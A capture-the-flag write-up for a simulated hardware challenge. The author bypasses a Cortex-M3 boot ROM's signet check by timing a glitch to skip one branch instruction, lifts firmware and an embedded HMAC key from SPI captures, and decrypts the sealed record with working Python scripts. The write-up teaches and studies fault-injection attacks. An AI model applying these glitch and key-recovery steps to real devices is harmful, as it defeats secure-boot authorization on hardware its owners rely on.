An Arm Cortex-M3 boot ROM refuses to release a sealed record without a signed service signet. We do not have one. So we skip the single branch instruction that says so, using a timed fault-injection pulse - and then read the record, because the coffer sealed it to a measurement it prints out loud.
$ ls -la
-rw-r--r--@ 1 feyrer staff 101846 Jul 26 18:52 a252ee3c-1bd5-45cb-ab71-e2700800b21b-1784855694.zip
$ file a252ee3c-1bd5-45cb-ab71-e2700800b21b-1784855694.zip
a252ee3c-1bd5-45cb-ab71-e2700800b21b-1784855694.zip: Zip archive data, at least v2.0
to extract, compression method=deflate
$ unzip -l a252ee3c-1bd5-45cb-ab71-e2700800b21b-1784855694.zip
Length Date Time Name
--------- ---------- ----- ----
9284 07-24-2026 02:42 cinder_boot.elf
11119 07-24-2026 02:42 factory_spi.sr
1611 07-24-2026 02:42 factory_service.sr
95985 07-24-2026 02:42 TARGET.pdf
7165 07-24-2026 02:42 rig.py
--------- -------
125164 5 files
| File | What it is |
|---|---|
cinder_boot.elf | the 4700-byte measured-boot ROM, Arm Cortex-M3 at 24 MHz |
factory_spi.sr | sigrok capture of the flash bus - both firmware slots with their 128-byte manifests |
factory_service.sr | sigrok capture of the secure element bus during a genuine authorized boot |
TARGET.pdf | the datasheet - and, as it turns out, the answer |
rig.py | client library for the three bench TCP lines |
The bench is a spawned instance exposing three TCP lines, standing in for a service header clamped onto the coffer. The ports come in no fixed order, but each line names itself in its banner, so the roles can be probed instead of assumed:
| Banner contains | Role | What it does |
|---|---|---|
RIG | fault rig | power, strap, trigger, glitch pulse, capture |
LA | analyzer clamp | returns captures as gzipped VCD, 9 channels |
VAULTRUNE | recovery console | prints the offer, accepts a signet |
The console is where the challenge states its terms:
DEVICE a11f0c1de5eafeed0badc0ffee5e0001
IMAGE d93870aa1c4f3b6455a6b6d23723b66da2e2399856da55f6060c1b86f37fb772
COUNTER 2
CHALLENGE 25afff7be846a2e28dba63aedacdde1c
TICKET?
Presenting the 144-byte signet lifted from the bench capture gets it accepted structurally and refused on merit - it is stale, meant for a different challenge:
signet AUTH REQUIRED
The target itself is a 24 MHz Cortex-M3 with the boot ROM and a secure element - the ward - on an internal 4 MHz SPI bus. The ward holds the record; the boot ROM decides whether the ward is ever asked for it.
Six moving parts across three TCP lines and two capture files - worth drawing once before touching anything, because which signal is reachable from where decides what is even possible.
The bench. Grey is the device, blue is what can be driven or observed live, green marks where each handout capture was recorded.
Conclusion: Three things follow from the picture. The glitch lands on the
CPU, not on the secure element - the ward is never attacked, only ignored. The
clamp sees GLITCH_OUT on the same timeline as the bus, so pulse and effect can
be compared directly instead of inferred from a failed boot. And the two handout captures
are recordings of exactly these two buses during an authorized boot, which is why they
contain both the credential and the procedure.
factory_service.sr is the ward's bus during a genuine boot. Decoding it as
SPI mode 0 shows the whole ritual, which is the reference for everything that follows.
10 STARTUP status 00
23 GET_STATUS status 02
11 READ_NV_COUNTER counter = 2
23 GET_STATUS status 02
12 GET_RECOVERY_CHALLENGE 16-byte nonce
13 VERIFY_RECOVERY_TICKET status 00 <- authorized
14 EXTEND_BOOT_PCR
15 LOCK_MEASUREMENT
20 OPEN_FACTORY_SESSION
21 UNSEAL
23 GET_STATUS status 03 <- a record is queued
22 READ_FIFO x 5 <- the record
Our own boot stops three frames in, at READ_NV_COUNTER.
Conclusion: Everything from EXTEND_BOOT_PCR onwards only happens after
the ward accepts the signet at frame 0x13. That single verdict is the gate.
The ward will keep saying no - so the target is not the ward but the ROM's reaction to it.
Disassemble the boot ROM and follow the return value of the 0x13 wrapper.
$ objdump -d cinder_boot.elf > cinder_boot.asm
The boot ROM's call graph in Ghidra. main fans out into the ward's opcode
wrappers; the highlighted one is FUN_000002c2 - the wrapper for opcode
0x13, i.e. the ticket check.
c2: bl 0x2c2 ; verify_ticket() -> r0, 0 = accepted
...
10e: cmp r0, #0 ; the ward's verdict
110: it eq
112: orreq r2, r2, #1
116: cmp r2, #0
118: beq 0x30 ; <- the branch into the denial path
11a: ... authorized path continues
Authorization is (ward accepted) OR (authorized counter >= NV counter).
Our signet fails the first, the counters fail the second, so r2 is zero and
0x118 branches away.
Conclusion: One instruction stands between us and the authorized path. The rig's
pulse omits exactly one instruction where it lands - so 0x118 is the target.
The pulse is timed from a bus edge, so we need a byte pattern that appears in our failing boot. The obvious candidate is the ward's refusal frame itself.
authorized (factory) 13 05 00 00 00 c1 47
refused (ours) 13 e9 01 00 00 29 bb
^^ ^^^^^
sequence byte, CRC over the header,
fresh every boot so it moves with it
Conclusion: Trigger on opcode 0x13, status 0x01, length
zero, with the unpredictable sequence byte and its CRC masked out - pattern
13 00 01 00 00, mask ff 00 ff ff ff. Note this only works
because a structurally valid signet is presented: a malformed one is rejected by
the spine before the ward is engaged, producing no ward frame and nothing to trigger on.
The rig fires a fixed number of CPU cycles after the trigger edge. No sweeping is needed - the instruction timings are on paper and the path is straight-line.
One wrinkle makes the count boot-specific. Right after the call, the ROM burns time in a loop whose trip count comes from the challenge:
c6: ldrb.w r3, [sp,#0xc] ; challenge[0]
ca: ldrb.w r2, [sp,#0x1b] ; challenge[15]
ce: eors r3, r2
d0: and r3, r3, #0x1f ; N = (c[0] ^ c[15]) & 0x1f
d4: cbnz r3, 0xe4 ; N iterations, 8 cycles each
$ python3 count.py
...
0110 it eq 1
0112 orreq r2, r2, #1 0 condition fails, r0 != 0
0116 cmp r2, #0 1
straight-line cycles : 33
per loop iteration : 8
K = 33 + 8 * N
delay = 254 + 8 * N (D_drv = 221)
Conclusion: delay = 254 + 8*N with
N = (challenge[0] ^ challenge[15]) & 0x1f, pulse width 10 (middle of the
6..16 calibration band). The challenge is printed before the boot it belongs to, so N is
known in advance - but the delay must be recomputed for every attempt.
Bench discipline: the signet and the trigger configuration apply to the next power cycle, not the current one.
cmd 13 13 e9 01 00 00 <- ward refuses
cmd 14 EXTEND_BOOT_PCR <- and the spine proceeds anyway
cmd 15 LOCK_MEASUREMENT
cmd 20 OPEN_FACTORY_SESSION
cmd 21 UNSEAL
cmd 22 READ_FIFO x 19 <- 582 bytes of record
Conclusion: The glitch works on the first attempt - the ward denied the signet and the spine walked into the authorized path regardless. But the record arrives protected: each frame carries 32 bytes of ciphertext and a 16-byte tag, and two boots produce 582 bytes each that differ throughout. The sealing is session-bound.
The record came back encrypted, so the next question is what the firmware does with it - which means getting at the firmware. There is no chip to desolder and no dump command, but there does not need to be: the boot ROM reads its image over the bus at every startup, and the capture was taken while it did.
factory_spi.sr in PulseView. Two long CS_FLASH phases - one per
slot. MOSI is nearly idle (just the read commands), MISO is dense
throughout: that is the firmware streaming out of the flash chip.
Three layers have to be peeled off, and each is mechanical once named:
.sr file is a zip. A metadata member
names the probes in bit order, and the capture member holds one byte per sample with
those probes in the low bits.SCK edges while chip-select is low. Each capture carries exactly one
chip-select line (CS_SE on the ward's bus, CS_FLASH here), so
there is nothing to select and no probe indices to pass by hand.0x03 READ with a 24-bit
address; what comes back on MISO is the slot, verbatim.
Each slot opens with a 128-byte image manifest, little-endian throughout - the layout is in
TARGET.pdf under "Image manifest - the vendor seal":
00 magic "CNDR" 10 SRAM load address
04 format version u16 14 entry offset
06 header size u16 18 security counter
08 slot kind 1c SHA-256 of the payload
0c payload size 3c ECDSA-P256 signature
7c header CRC-32
Conclusion: spidec.py does layers 1 and 2, slots.py does
layer 3 and writes slot1.bin and slot2.bin. This is the payoff of
the two-capture setup from step 3.1: factory_service.sr recorded the
conversation and gave up the credential, factory_spi.sr recorded the
content and gives up the firmware. Four of the manifest fields - slot kind,
security counter, payload size, payload digest - turn out to be exactly what
BOOT_PCR is built from, but that only becomes apparent in step 3.12.
The recovery image should explain the record format, so extract it from the flash capture. The slot arrives as 3136 bytes; assuming a 32-byte header gives a 3008-byte image.
That image begins 96 bytes too early - and still disassembles into perfectly plausible
Thumb-2, which is what makes the mistake dangerous. Two things settle it: 3136 - 3008 =
128 exactly, and the manifest's own header-size field at offset 6 reads 0x0080.
Conclusion: The manifest is 128 bytes, not 32. slots.py now prints
whether the payload digest in the manifest matches the bytes it just extracted - a
two-line check that makes the whole class of off-by-96 errors impossible to miss.
slot2.bin is bare Thumb-2 with no ELF headers, so it is loaded into Ghidra at
the load address the manifest gives (0x20002000, field 0x10) -
otherwise every pointer in it is off by that offset and nothing cross-references.
disasm.py produces the same listing offline. From there the string
"RESP" in the literal pool leads to the keystream routine, and the
BCrypt imports lead to the rest: the derivation sits at
0x200021c0, the 32-byte HMAC key at 0x20002a8e, the unwrap
routine at 0x20002258.
sk = HMAC(BLOB, LE32(a) || LE32(b) || ward_nonce
|| swap32(BOOT_PCR) || host_nonce)
tag = HMAC(sk, session || index || data)[0:16]
plain = data XOR HMAC(sk, "RESPONSE" || session || index || ctr16 || 00 00)
One detail cost a while: the keystream label is not in the strings. The literal pool holds
"RESP" and the next four bytes are built by arithmetic - the compiler folded
"RESPONSE" into an addition:
20002338 ldr r2, [pc, #0x78] ; 0x50534552 = "RESP"
2000233e add.w r2, r2, #-0xb000000 ; i.e. + 0xf5000000
20002342 addw r2, r2, #0x8fd ; 0x45534e4f = "ONSE"
At this point the scheme is still a hypothesis. The bench capture settles it without any live access: on that unit every value is a ramp, so the unknown 32-byte block is one of 256 candidates - and each frame carries its own 128-bit tag.
$ python3 factory.py factory_service.sr
session 3305e00d
ward a0a1a2a3a4a5a6a7a8a9aaabacadaeaf
host 404142434445464748494a4b4c4d4e4f
bench measurement is the ramp from 0x00
5 chunks, 143 bytes of record
tag 02
demo-succession
tag 03
DEMONSTRATION
tag 07
Factory demonstration record - not a live custody object.
Conclusion: A 128-bit tag does not verify by accident, so the derivation is now a fact and only its input is in question. This offline oracle turns every later search into a yes/no question instead of a judgement call. Everything is determined except the 32 bytes in the middle.
The routine that fills the block reads a word from 0x20002bc0 - exactly the
end of the image, so the word lives in .bss. Read that way it looks like a
volatile runtime value that never crosses the bus, which would put the live session key
out of reach. So: search for it instead.
Everything tested against the first chunk's tag, so any hit would be unambiguous:
| Candidate family | Tests |
|---|---|
| every 32-byte window of every handout file, raw and hashed | 67,124 |
| field variants of the measurement, once it was found | 57,600 |
| manifest substrings, with and without the label prefix | 24,768 |
| prefix constants x block candidates, both byte orders | 11,572 |
| all 256 ramps, and derivations from DEVICE / IMAGE / CHALLENGE / ticket / nonces | ~3,000 |
Just over 160,000 candidates, all negative. There was a tell, walked straight
past: the same code builds the host nonce as 7*pool + i. On the bench capture
the block is 00..1f, so pool = 0; the host nonce is
40..4f, so 7*pool = 0x40, so pool = 0xc0. Two
adjacent calls, nothing in between, and the value cannot be both.
Conclusion: That contradiction is a finding, not noise - it says the shipped
image's I/O and entropy routines are stubs and the bench ramps are test vectors, not the
output of this code. The value was never going to be inside the image. One useful fact did
come out of the search: sha256(slot2.bin) equals the IMAGE the
console prints, confirming the live coffer runs the image the flash capture gave up. The
derivation could not be wrong; only its input could.
Before falling back on cryptanalysis, walk the levers the rig exposes -
rig.py hard-codes one value for each, which is worth questioning.
| Lever | Result |
|---|---|
STRAP FACTORY |
boots, but stops after LOCK_MEASUREMENT - no session, no record |
CAPTURE ARM <source> |
eight names tried, all accepted, all give the same nine channels - the argument is ignored |
GET cap-N <format> |
eighteen names tried, all return the same CINDCAP1 envelope |
two GLITCH calls before ARM |
one pulse in GLITCH_OUT - the second call replaces the first |
| console after a glitched boot | a fresh offer, nothing more; TICKET still answers AUTH REQUIRED |
CS_FLASH in a glitched capture |
no transactions - the ROM's flash reads fall outside the trigger window |
Conclusion: No lever helps. The double-pulse test is worth keeping as a technique
though: "does a second GLITCH queue or override?" has no documented answer,
but the clamp records GLITCH_OUT on the same timeline as the bus, so counting
rising edges answers it directly instead of inferring it from a failed boot.
Back to TARGET.pdf, page 3, on measured custody - this time reading for
verbs rather than values.
On power-on BOOT_PCR = 0, and the boot ROM extends the measurement
once with M = SHA256(...), then locks it.
Read for months as "the ward holds M". It says extends - the TPM word for
PCR <- SHA256(PCR || M). With a register that starts at zero, one extend
gives:
M = SHA256("CINDER-BOOT-v1" || slot_kind || counter_le32
|| payload_size_le32 || payload_sha256)
BOOT_PCR = SHA256(bytes(32) || M)
Every field of M comes from the manifest, and the console prints them all in its offer
before the boot even starts. The ROM had been saying the same thing all along:
0x138 builds M, 0x2e0 hands it to the ward as
EXTEND_BOOT_PCR, 0x2f8 follows with
LOCK_MEASUREMENT - extend, then lock.
Conclusion: BOOT_PCR is not a secret, it is one SHA-256 away from
public data. First attempt, all nineteen tags verified.
Two scripts do the work. unseal.py glitches the boot:
PATTERN = '13000100' + '00' # opcode 0x13, status 0x01 (denied), length 0
MASK = 'ff00ffffff' # the sequence byte is not predictable
WIDTH = 10 # middle of the 6..16 calibration band
BANNERS = {'RIG': 'rig', 'LA': 'la', 'VAULTRUNE': 'service'}
def roles(host, ports):
"""Map the three ports onto rig / la / service by their banners."""
found = {}
for port in ports:
s = socket.create_connection((host, port), timeout=10)
s.settimeout(3)
try:
banner = s.recv(200).decode('ascii', 'replace').split('\n')[0]
except socket.timeout:
banner = ''
finally:
s.close()
for word, role in BANNERS.items():
if word in banner:
found[role] = port
break
return found['rig'], found['la'], found['service']
def main():
host = sys.argv[1]
signet = sys.argv[5]
rig_port, la_port, svc_port = roles(host, [int(a) for a in sys.argv[2:5]])
svc = Service(host, svc_port)
challenge = offer_challenge(svc)
if challenge is None:
# A freshly spawned bench is unpowered, so there is no offer yet. One
# plain boot brings the coffer up and produces the offer the next cycle
# will consume.
svc.close()
rig = Rig(host, rig_port)
rig.strap('RECOVERY'); rig.reset_rig(); rig.arm(); rig.power_cycle()
rig.close()
time.sleep(1.0)
svc = Service(host, svc_port)
challenge = offer_challenge(svc)
n = (challenge[0] ^ challenge[15]) & 0x1f
delay = D_DRV + straight_line() + n * LOOP_BODY
print('loop N %d -> delay %d, width %d' % (n, delay, WIDTH))
print('signet %s' % svc.ticket(signet)) # AUTH REQUIRED - as intended
svc.close()
rig = Rig(host, rig_port)
rig.reset_rig()
rig.trigger(PATTERN, MASK)
rig.glitch(delay, WIDTH)
rig.arm()
r = rig.power_cycle()
rig.close()
la = LA(host, la_port)
open('unseal.vcd', 'w').write(la.download(r['capture_id']))
la.close()
decrypt.py reads the record out of the capture:
# The 32-byte HMAC key that seals the session, at 0x20002a8e in slot2.bin.
BLOB = bytes.fromhex('81a68ed89ebce0bbb7d5f4f08da9d598'
'c3d0ffb0e7e583bdfe8cd980e6ab878b')
# The last two words of the image, at 0x20002bb8 and 0x20002bbc.
SEED_A = 0x7f4a7c15
SEED_B = 0x9e3779b9
BOOT_LABEL = b'CINDER-BOOT-v1' # 14 bytes, no terminator
STREAM_LABEL = b'RESPONSE'
# The manifest of the recovery slot, read out of factory_spi.sr.
RECOVERY_SLOT_KIND = 2
RECOVERY_COUNTER = 2
RECOVERY_SIZE = 3008
RECOVERY_DIGEST = bytes.fromhex('d93870aa1c4f3b6455a6b6d23723b66d'
'a2e2399856da55f6060c1b86f37fb772')
def ror(value, count):
return ((value >> count) | (value << (32 - count))) & MASK
def prefix():
"""The two mixed constants that open the derivation message."""
a = (SEED_B ^ ror(SEED_A, 25)) & MASK
b = ((a ^ 0xa5a5a5a5) + SEED_A) & MASK
a = (a ^ (b >> 11)) & MASK
return struct.pack('<II', a, b)
def boot_pcr(slot_kind, counter, size, image_sha256):
"""BOOT_PCR after the single extend the boot ROM performs."""
m = hashlib.sha256(BOOT_LABEL + bytes([slot_kind])
+ struct.pack('<II', counter, size)
+ image_sha256).digest()
return hashlib.sha256(bytes(32) + m).digest()
def session_key(pcr, ward_nonce, host_nonce):
swapped = b''.join(pcr[i:i + 4][::-1] for i in range(0, 32, 4))
message = prefix() + ward_nonce + swapped + host_nonce
return hmac.new(BLOB, message, hashlib.sha256).digest()
def unwrap(key, session, index, data):
stream = hmac.new(key, STREAM_LABEL + session + counter,
hashlib.sha256).digest()
...
Supporting scripts, all driven by build.sh:
| File | Purpose |
|---|---|
build.sh | every derived artefact, in dependency order, offline |
count.py | the cycle count, one line per instruction |
slots.py | flash capture -> both firmware images and their manifests |
signet.py | bench capture -> ticket.b64 |
factory.py | the bench record, decrypted from the handout alone |
disasm.py | Thumb-2 disassembly of a lifted image |
vcddec.py | the clamp's VCD -> SPI transactions |
spidec.py | the same for the handout's sigrok captures |
Everything that needs only the handout, offline:
$ sh build.sh
== 1. boot ROM disassembly
cinder_boot.asm 1877 lines
== 2. firmware slots out of the flash capture
flash 0x000000 -> slot1.bin
slot kind 1
security counter 5
payload size 1236
payload sha256 e307ec6eb6d228747e010422aec3916f7c369b88bbaa49b3563904e0dcb104f2
digest matches yes
flash 0x040000 -> slot2.bin
slot kind 2
security counter 2
payload size 3008
payload sha256 d93870aa1c4f3b6455a6b6d23723b66da2e2399856da55f6060c1b86f37fb772
digest matches yes
== 3. the recovery signet, for the console
ticket.b64 144 bytes, magic RCVT
== 4. recovery image disassembly
slot2.asm 647 lines
== 5. the record scheme, checked against the bench capture
[the factory.py output shown in step 3.9]
The digest matches yes lines are the check that catches the manifest mistake
from step 3.8: the payload digest recorded in the manifest is compared against the bytes
actually extracted.
Then the two steps that need a live bench. The three ports are passed in any
order: the spawner does not promise one, so unseal.py opens each line, reads
the banner and matches it against RIG / LA /
VAULTRUNE to decide which port is which, printing the mapping it found before
it touches the bench. Getting the order wrong is therefore not a failure mode - assuming
an order would be, since a glitch command sent to the analyzer clamp fails in a way that
looks like a timing problem:
$ python3 unseal.py HOST PORT PORT PORT "$(cat ticket.b64)"
challenge 25afff7be846a2e28dba63aedacdde1c
loop N 25 -> delay 454, width 10
signet AUTH REQUIRED
boot {'triggered': True, 'powered': True, 'boot_id': 2, 'capture_id': 2}
capture 287600 bytes -> unseal.vcd (feed it to decrypt.py)
cmd 13 13 e9 01 00 00
cmd 14 EXTEND_BOOT_PCR
cmd 15 LOCK_MEASUREMENT
cmd 20 OPEN_FACTORY_SESSION
cmd 21 UNSEAL
cmd 22 READ_FIFO x 19
$ python3 decrypt.py unseal.vcd
manifest recovery slot, kind 2, counter 2, 3008 bytes
d93870aa1c4f3b6455a6b6d23723b66da2e2399856da55f6060c1b86f37fb772
BOOT_PCR b1faea210856616f454a5498f2ab80360bddfd17087676ae93b5b45d516a0011
session key 510455b5f4a1254165e79537d486693c27fa67a8a935ed41a9a8661cc151385e
19 chunks verified, 582 bytes of record
tag 02
custody-succession
tag 03
House Suncourt of the Velvet Spider
tag 04
Vaultrune Registry, under the Ink Regent's chain
tag 05
Cinderbound coffer, class III / recovery ward; measured-recovery only
tag 06
SEAL-CINDER-0001
tag 07
Writ of the Black Heir, under Cassian's own hand: When Suncourt has served and
the Velvet Spider has spun the crown into my keeping, strike her house from the
registry as though it never held a name. Burn the ledgers. Leave no witness she
can call.
tag 08
HTB{a_f4ls3_n0t3_0p3ns_th3_tru3_s34l}
All nineteen tags verify, so the key is right rather than merely plausible. A fresh bench
changes the challenge, both nonces and therefore the session key - but not
BOOT_PCR, which follows the image manifest and does not move. The record
reads the same every time.
HTB{a_f4ls3_n0t3_0p3ns_th3_tru3_s34l}
| # | Stage | Mechanism |
|---|---|---|
| 1 | Present a bad signet | The stale 144-byte ticket from the bench capture is structurally valid, so the spine forwards it to the ward and the ward refuses it. That refusal frame is what we trigger on - a malformed ticket would be dropped earlier and produce no bus traffic at all. |
| 2 | Time the pulse | delay = 254 + 8*N cycles after the rising CS edge, with
N = (challenge[0] ^ challenge[15]) & 0x1f. Counted off the
disassembly, not swept. |
| 3 | Glitch: skip one instruction | This is the actual fault injection. Fired into the CPU core over
GLITCH_OUT while it executes the verdict check, the pulse omits
0x118 beq 0x30 - the branch into the denial path.
Execution falls through into the authorized path and the ROM completes the ritual -
extend, lock, open session, unseal, 582 bytes of record. |
| 4 | Rebuild the session key | The record is sealed to BOOT_PCR. But the ROM extends a
zero register once, so BOOT_PCR = SHA256(bytes(32) || M) and every
field of M is printed by the console before the boot. |
| 5 | Decrypt | Both nonces and the session id are on the bus; with BOOT_PCR computed,
the HMAC chain from the recovery image yields the key. All 19 chunk tags verify. |
The joke the challenge was telling all along: the ward's verdict was
AUTH_DENIED and stayed AUTH_DENIED. The measurement the spine
then extended was the honest one, computed over the image it really booted. So
the coffer sealed the record to a true measurement taken after a false note - and that
measurement is public, printed in the offer, one SHA-256 away from the key.
0x2e0 passes a length of 0x20 to the frame builder, so
EXTEND_BOOT_PCR should carry the 32-byte measurement as its payload. On the
wire that frame has length zero - checked against every MOSI payload in a glitched
capture, where the largest is the 144-byte signet. The shipped ELF and the bench backend
disagree about that one frame, and which is authoritative was never resolved. It stopped
mattering once the measurement turned out to be computable from the manifest.
pool = 0 and
pool = 0xc0 in adjacent calls was a finding about the artefact, not noise
to route around.